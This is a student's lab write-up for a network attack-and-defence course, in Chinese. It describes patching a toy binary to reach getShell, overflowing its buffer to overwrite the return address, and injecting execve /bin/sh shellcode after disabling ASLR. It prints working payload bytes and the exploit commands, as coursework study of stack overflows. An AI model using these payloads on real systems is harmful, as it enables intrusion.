- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

- 实验任务

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

三个实践内容如下：
手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
这几种思路，基本代表现实情况中的攻击目标:
运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。

- 基础知识

NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP指令即“空指令”，执行到NOP指令时，CPU什么也不做，机器码是90；

JNE即条件转移指令，如果不相等则跳转，机器码是75；

JE即条件转移指令，如果相等则跳转，机器码是74；

JMP即无条件转移指令。段内直接短转Jmp short，机器码是EB；段内直接近转移Jmp near，机器码是E9；段内间接转移 Jmp word，机器码是FF；段间直接(远)转移Jmp far，机器码是EA；

CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。

- 实验过程

- 实验点1：手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数

使用objdump -d pwn1将pwn1反汇编；
可找到80484b5: e8 d7 ff ff ff call 8048491 这条汇编指令，这条指令就是在main函数中调用位于地址8048491处的foo函数，e8表示“call”，d7 ff ff ff是地址。因此，我们想让函数调用getShell，只需将其修改为c3 ff ff ff；
vi pwn1进入编辑器，输入:%!xxd将显示模式切换为十六进制，准备进行修改；
在底行模式输入/e8d7定位需要修改的地方，确认并按i进入插入模式，修改d7为c3；
输入:%!xxd -r将十六进制转换为原格式，再输入:wq!保存并退出；
输入./pwn1，即运行修改后的代码，可以得到shell提示符；

- 实验点2：利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数

使用gdb调试pwn1，当输入字符长度合法时，该可执行文件可调用函数foo，正常运行；
当输入字符长度过长时，发生段错误，产生溢出；
查看eip寄存器中的值，可发现是输入字符串中的“5”发生溢出；
进一步确认，可发现是1234 那四个数最终会覆盖到堆栈上的返回地址，因此要把这四个字符替换为 getShell 的内存地址，输给pwn1，pwn1就会运行getShell；
使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input命令构造文件；
输入(cat input; cat) | ./pwn1

- 实验点3：注入一个自己制作的shellcode并运行这段shellcode

使用apt-get install execstack命令安装execstack；
使用如下指令进行配置：

execstack -s pwn1

execstack -q pwn1

more /proc/sys/kernel/randomize_va_space

echo "0" > /proc/sys/kernel/randomize_va_space

more /proc/sys/kernel/randomize_va_space

使用命令　　perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
其中，前面32个A用来填满buf，\x04\x03\x02\x01为预留的返回地址，随后修改这个返回地址。
在一个终端里用 (cat input_shellcode;cat) | ./pwn1 注入这段攻击；
在另一个终端打开，使用ps -ef | grep pwn查看pwn1这个进程，发现进程号为35803；
使用gdb进行调试，输入attach 35803 ；
使用disassemble foo 命令进行反汇编；
使用 break *0x080484ae 命令设置断点，输入c命令(continue)继续运行，同时在pwn1进程正在运行的终端敲回车，使其继续执行。再返回调试终端，使用info r esp命令查找地址；
使用x/16x 0xffffd35c查看其存放内容，01020304就是返回地址的位置，所以地址应为0xffffd360；
将之前的\x4\x3\x2\x1改为这个地址，再使用命令(cat input_shellcode;cat) | ./pwn1 执行程序，攻击成功。

- 实验收获与感想

这次实验是在听完老师讲解后，又参考学长学姐的博客完成的。通过这次实验，初步理解了缓冲区溢出的原理，以及恶意代码的覆盖和执行等，虽然学习的过程有些坎坷，但收获还算很大的。
漏洞：漏洞就是硬件或软件等方面存在的缺陷。危害很大，能被人利用，恶意入侵、篡改或控制计算机，存在很大的安全隐患。